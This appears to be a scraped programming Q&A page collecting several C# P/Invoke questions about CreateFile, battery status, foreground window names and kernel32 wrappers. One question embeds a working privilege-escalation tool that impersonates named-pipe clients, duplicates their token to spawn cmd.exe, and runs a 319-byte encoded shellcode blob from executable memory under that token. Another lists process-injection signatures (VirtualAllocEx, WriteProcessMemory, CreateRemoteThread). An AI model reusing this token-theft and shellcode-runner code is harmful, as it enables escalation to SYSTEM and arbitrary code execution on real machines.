How does DllImport decide between CreateFileA and CreateFileW? - c#

When I use P/Invoke for calling CreateFile like:
[DllImport("kernel32.dll")]
public static extern SafeFileHandle CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr SecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile
);
how does Windows decide to call CreateFileA or CreateFileW?

Related

How to use an available token to create a new thread in C#?

This code tries to impersonate token of any client that connects to the named pipe that is provided as argument to the code. After receiving the token in hSystemtoken, this token would be used to call CreateProcessWithTokenW. However I also want to call the shellcode using this token. What is the way to achieve this?
CreateProcessThread is one way to start a thread. Looking through the documentation I also understand there is a function SetThreadToken which I tried in my code but that did not work. Is there a simpler way to do this?
using System;
using System.Runtime.InteropServices;
namespace console_csharp
{
[StructLayout(LayoutKind.Sequential)]
public struct SID_AND_ATTRIBUTES
{
public IntPtr Sid;
public int Attributes;
}
public struct TOKEN_USER
{
public SID_AND_ATTRIBUTES User;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode,
uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize,
uint nDefaultTimeOut, IntPtr lpSecurityAttributes);
[DllImport("kernel32.dll")]
static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);
[DllImport("Advapi32.dll")]
static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
[DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentThread();
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool
OpenAsSelf, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool GetTokenInformation(IntPtr TokenHandle, uint TokenInformationClass,
IntPtr TokenInformation, int TokenInformationLength, out int ReturnLength);
[DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)]
static extern bool ConvertSidToStringSid(IntPtr pSID, out IntPtr ptrSid);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public extern static bool DuplicateTokenEx(
IntPtr hExistingToken,
uint dwDesiredAccess,
IntPtr lpTokenAttributes,
uint ImpersonationLevel,
uint TokenType,
out IntPtr phNewToken);
[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithTokenW(
IntPtr hToken,
UInt32 dwLogonFlags,
string lpApplicationName,
string lpCommandLine,
UInt32 dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
// SetThreadToken
[System.Runtime.InteropServices.DllImport("advapi32.dll", SetLastError = true)]
private static extern bool SetThreadToken(IntPtr pHandle, IntPtr hToken);
static void Main(string[] args)
{
//brings up calc
byte[] buf = new byte[319] {
0x48,0x31,0xc9,0x48,0x81,0xe9,0xdd,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,
0xff,0xff,0x48,0xbb,0xb6,0x91,0x18,0x2b,0x1c,0x05,0x92,0x1b,0x48,0x31,0x58,
0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0x4a,0xd9,0x9b,0xcf,0xec,0xed,
0x52,0x1b,0xb6,0x91,0x59,0x7a,0x5d,0x55,0xc0,0x4a,0xe0,0xd9,0x29,0xf9,0x79,
0x4d,0x19,0x49,0xd6,0xd9,0x93,0x79,0x04,0x4d,0x19,0x49,0x96,0xd9,0x93,0x59,
0x4c,0x4d,0x9d,0xac,0xfc,0xdb,0x55,0x1a,0xd5,0x4d,0xa3,0xdb,0x1a,0xad,0x79,
0x57,0x1e,0x29,0xb2,0x5a,0x77,0x58,0x15,0x6a,0x1d,0xc4,0x70,0xf6,0xe4,0xd0,
0x49,0x63,0x97,0x57,0xb2,0x90,0xf4,0xad,0x50,0x2a,0xcc,0x8e,0x12,0x93,0xb6,
0x91,0x18,0x63,0x99,0xc5,0xe6,0x7c,0xfe,0x90,0xc8,0x7b,0x97,0x4d,0x8a,0x5f,
0x3d,0xd1,0x38,0x62,0x1d,0xd5,0x71,0x4d,0xfe,0x6e,0xd1,0x6a,0x97,0x31,0x1a,
0x53,0xb7,0x47,0x55,0x1a,0xd5,0x4d,0xa3,0xdb,0x1a,0xd0,0xd9,0xe2,0x11,0x44,
0x93,0xda,0x8e,0x71,0x6d,0xda,0x50,0x06,0xde,0x3f,0xbe,0xd4,0x21,0xfa,0x69,
0xdd,0xca,0x5f,0x3d,0xd1,0x3c,0x62,0x1d,0xd5,0xf4,0x5a,0x3d,0x9d,0x50,0x6f,
0x97,0x45,0x8e,0x52,0xb7,0x41,0x59,0xa0,0x18,0x8d,0xda,0x1a,0x66,0xd0,0x40,
0x6a,0x44,0x5b,0xcb,0x41,0xf7,0xc9,0x59,0x72,0x5d,0x5f,0xda,0x98,0x5a,0xb1,
0x59,0x79,0xe3,0xe5,0xca,0x5a,0xef,0xcb,0x50,0xa0,0x0e,0xec,0xc5,0xe4,0x49,
0x6e,0x45,0x63,0xa6,0x04,0x92,0x1b,0xb6,0x91,0x18,0x2b,0x1c,0x4d,0x1f,0x96,
0xb7,0x90,0x18,0x2b,0x5d,0xbf,0xa3,0x90,0xd9,0x16,0xe7,0xfe,0xa7,0xf5,0x27,
0xb9,0xe0,0xd0,0xa2,0x8d,0x89,0xb8,0x0f,0xe4,0x63,0xd9,0x9b,0xef,0x34,0x39,
0x94,0x67,0xbc,0x11,0xe3,0xcb,0x69,0x00,0x29,0x5c,0xa5,0xe3,0x77,0x41,0x1c,
0x5c,0xd3,0x92,0x6c,0x6e,0xcd,0x48,0x7d,0x69,0xf1,0x35,0xd3,0xe9,0x7d,0x2b,
0x1c,0x05,0x92,0x1b };
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
//IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,IntPtr.Zero);
//WaitForSingleObject(hThread, 0xFFFFFFFF);
string pipeName = args[0];
IntPtr hPipe = CreateNamedPipe(pipeName, 3, 0, 10, 0x1000, 0x1000, 0, IntPtr.Zero);
ConnectNamedPipe(hPipe, IntPtr.Zero);
ImpersonateNamedPipeClient(hPipe);
IntPtr hToken;
OpenThreadToken(GetCurrentThread(), 0xF01FF, false, out hToken);
int TokenInfLength = 0;
GetTokenInformation(hToken, 1, IntPtr.Zero, TokenInfLength, out TokenInfLength);
IntPtr TokenInformation = Marshal.AllocHGlobal((IntPtr)TokenInfLength);
GetTokenInformation(hToken, 1, TokenInformation, TokenInfLength, out TokenInfLength);
TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER));
IntPtr pstr = IntPtr.Zero;
Boolean ok = ConvertSidToStringSid(TokenUser.User.Sid, out pstr);
string sidstr = Marshal.PtrToStringAuto(pstr);
Console.WriteLine(#"Found sid {0}", sidstr);
// phNewToken will be the handle to new token
IntPtr hSystemToken = IntPtr.Zero;
DuplicateTokenEx(hToken, 0xF01FF, IntPtr.Zero, 2, 1, out hSystemToken);
// using that process to start a cmd.exe
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
CreateProcessWithTokenW(hSystemToken, 0, null, "C:\\Windows\\System32\\cmd.exe", 0, IntPtr.Zero, null, ref si, out pi);
// lets try call thread with token now
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
SetThreadToken(hThread, hSystemToken);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
thanks

Laptop/Tablet BatteryCycleCount for Determining its Health

Please help me to get Laptop/Tablet "BatteryCycleCount" value. Based on this property we will determine the replacement of battery.
Below are some APIs, which i have found in my googling:
[DllImport("setupapi.dll", SetLastError = true)]
protected static extern IntPtr SetupDiGetClassDevs(ref Guid gClass, [MarshalAs(UnmanagedType.LPStr)] string strEnumerator, IntPtr hParent, uint nFlags);
[DllImport("setupapi.dll", SetLastError = true)]
protected static extern bool SetupDiEnumDeviceInterfaces(IntPtr lpDeviceInfoSet, uint nDeviceInfoData, ref Guid gClass, uint nIndex, ref SP_DEVICE_INTERFACE_DATA oInterfaceData);
[DllImport("setupapi.dll", SetLastError = true)]
protected static extern bool SetupDiGetDeviceInterfaceDetail(IntPtr lpDeviceInfoSet, ref SP_DEVICE_INTERFACE_DATA oInterfaceData, ref SP_DEVICE_INTERFACE_DETAIL_DATA oDetailData, uint nDeviceInterfaceDetailDataSize, ref uint nRequiredSize, IntPtr lpDeviceInfoData);
[DllImport("kernel32.dll", SetLastError = true)]
protected static extern IntPtr CreateFile([MarshalAs(UnmanagedType.LPStr)] string strName, uint nAccess, uint nShareMode, IntPtr lpSecurity, uint nCreationFlags, uint nAttributes, IntPtr lpTemplate);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool DeviceIoControl([In] SafeHandle hDevice, [In] int dwIoControlCode, [In] IntPtr lpInBuffer, [In] int nInBufferSize, [Out] IntPtr lpOutBuffer, [In] int nOutBufferSize, out int lpBytesReturned, [In] IntPtr lpOverlapped);
Instead of direct use of the Windows API, you can request the performance counters in the category "BatteryStatus".
Edit :
The counters in the category "BatteryStatus" are multi instance : one per battery. On my laptop, I can write this C# code :
var counter = new PerformanceCounter("BatteryStatus", "RemainingCapacity", "ACPI\PNP0C0A\0_0", true);
var remainingCapacity = counter.NextValue();
You can view all the available counters in the category "BatteryStatus" with Performance Monitor ("perfmon" command).

How to get process name and title of the top window on Windows / C#

As in the topic... or better - how to get this information from events when the top window changes?
Thanks for hints. So I should use P/Invoke anyhow. Here is the complete code:
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
namespace CuckooCoach
{
class Monitor
{
[DllImport("user32.dll")]
private static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowTextLength(IntPtr hWnd);
// int GetWindowText(
// __in HWND hWnd,
// __out LPTSTR lpString,
// __in int nMaxCount
// );
[DllImport("user32.dll")]
private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
// DWORD GetWindowThreadProcessId(
// __in HWND hWnd,
// __out LPDWORD lpdwProcessId
// );
[DllImport("user32.dll")]
private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
//HANDLE WINAPI OpenProcess(
// __in DWORD dwDesiredAccess,
// __in BOOL bInheritHandle,
// __in DWORD dwProcessId
//);
[DllImport("kernel32.dll")]
private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll")]
private static extern bool CloseHandle(IntPtr handle);
// DWORD WINAPI GetModuleBaseName(
// __in HANDLE hProcess,
// __in_opt HMODULE hModule,
// __out LPTSTR lpBaseName,
// __in DWORD nSize
// );
[DllImport("psapi.dll")]
private static extern uint GetModuleBaseName(IntPtr hWnd, IntPtr hModule, StringBuilder lpFileName, int nSize);
// DWORD WINAPI GetModuleFileNameEx(
// __in HANDLE hProcess,
// __in_opt HMODULE hModule,
// __out LPTSTR lpFilename,
// __in DWORD nSize
// );
[DllImport("psapi.dll")]
private static extern uint GetModuleFileNameEx(IntPtr hWnd, IntPtr hModule, StringBuilder lpFileName, int nSize);
public static string GetTopWindowText()
{
IntPtr hWnd = GetForegroundWindow();
int length = GetWindowTextLength(hWnd);
StringBuilder text = new StringBuilder(length + 1);
GetWindowText(hWnd, text, text.Capacity);
return text.ToString();
}
public static string GetTopWindowName()
{
IntPtr hWnd = GetForegroundWindow();
uint lpdwProcessId;
GetWindowThreadProcessId(hWnd, out lpdwProcessId);
IntPtr hProcess = OpenProcess(0x0410, false, lpdwProcessId);
StringBuilder text = new StringBuilder(1000);
//GetModuleBaseName(hProcess, IntPtr.Zero, text, text.Capacity);
GetModuleFileNameEx(hProcess, IntPtr.Zero, text, text.Capacity);
CloseHandle(hProcess);
return text.ToString();
}
}
}
You can find window handle by process name using this code:
Process[] processes = Process.GetProcessesByName(m.ProcessName);
if (processes != null && processes.Length > 0)
{
Process process = processes[0];
process.StartInfo.WindowStyle = ProcessWindowStyle.Normal;
process.Refresh();
if (process.MainWindowHandle != IntPtr.Zero)
{ // process.mainwindows handle is needed for you
and than you can find window text by handle title = GetWindowTitle(process.MainWindowHandle);
private String GetWindowTitle(IntPtr hWn)
{
object LParam = new object();
int WParam = 0;
StringBuilder title = new StringBuilder(1024);
SendMessage(hWn, WM_GETTEXT, WParam, LParam);
GetWindowText(hWn, title, title.Capacity);
return title.ToString();
}
You need following declarations to call winapi functions:
[DllImport("user32", CharSet = CharSet.Auto, SetLastError = true)]
internal static extern int GetWindowText(IntPtr hWnd, [Out, MarshalAs(UnmanagedType.LPTStr)] StringBuilder lpString, int nMaxCount);
[DllImport("User32.dll", EntryPoint = "SendMessage")]
public static extern int SendMessage(IntPtr hWnd, int Msg, int wParam, object lParam);
I don't think there is a .Net way of doing this, so I think you will have use PInvoke.
Here's some sample code http://www.pinvoke.net/default.aspx/user32.getforegroundwindow
And as can be seen in that link there's a project (Managed Windows API) that wraps that up in managed code if you don't want to deal with the PInvoke code yourself.
For the window title, you'll have to do a P/Invoke of GetWindowText with the HWND returned from GetForegroundWindow().
As for the process info, I believe that P/Invoking GetWindowModuleFileName should work.

Wrapper C# for kernel32.dll API

Any helper class anywhere which wrapps kernel32 APIs, with all functions-methods and structures? Or any wrapper generator?
I want ALL methods of kernel32.dll in C# like this:
[DllImport("kernel32.dll",EntryPoint="RtlMoveMemory")]
public static extern void RtlMoveMemory(int des, int src, int count);
[DllImport("kernel32.dll", EntryPoint = "OpenProcess")]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32", CharSet = CharSet.Ansi)]
public extern static int GetProcAddress(int hwnd, string procedureName);
[DllImport("kernel32.dll", EntryPoint = "GetModuleHandle")]
public static extern int GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32", EntryPoint = "CreateRemoteThread")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")]
public static extern IntPtr WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, uint size, IntPtr lpNumberOfBytesWritten);
I doubt it.
Have you seen http://www.pinvoke.net/?

How to call "CreateFile" in C#?

After getting so much information about retrieving .MBR from a storage device, conclusion is to use P/Invoke to call CreateFile.
But how this can be done in C#? Please illustrate! Your help will be greatly appreciated!!!
[DllImport("kernel32.dll", CharSet = CharSet.Auto,
CallingConvention = CallingConvention.StdCall,
SetLastError = true)]
public static extern SafeFileHandle CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr SecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile
);
http://pinvoke.net/default.aspx/kernel32/CreateFile.html

Categories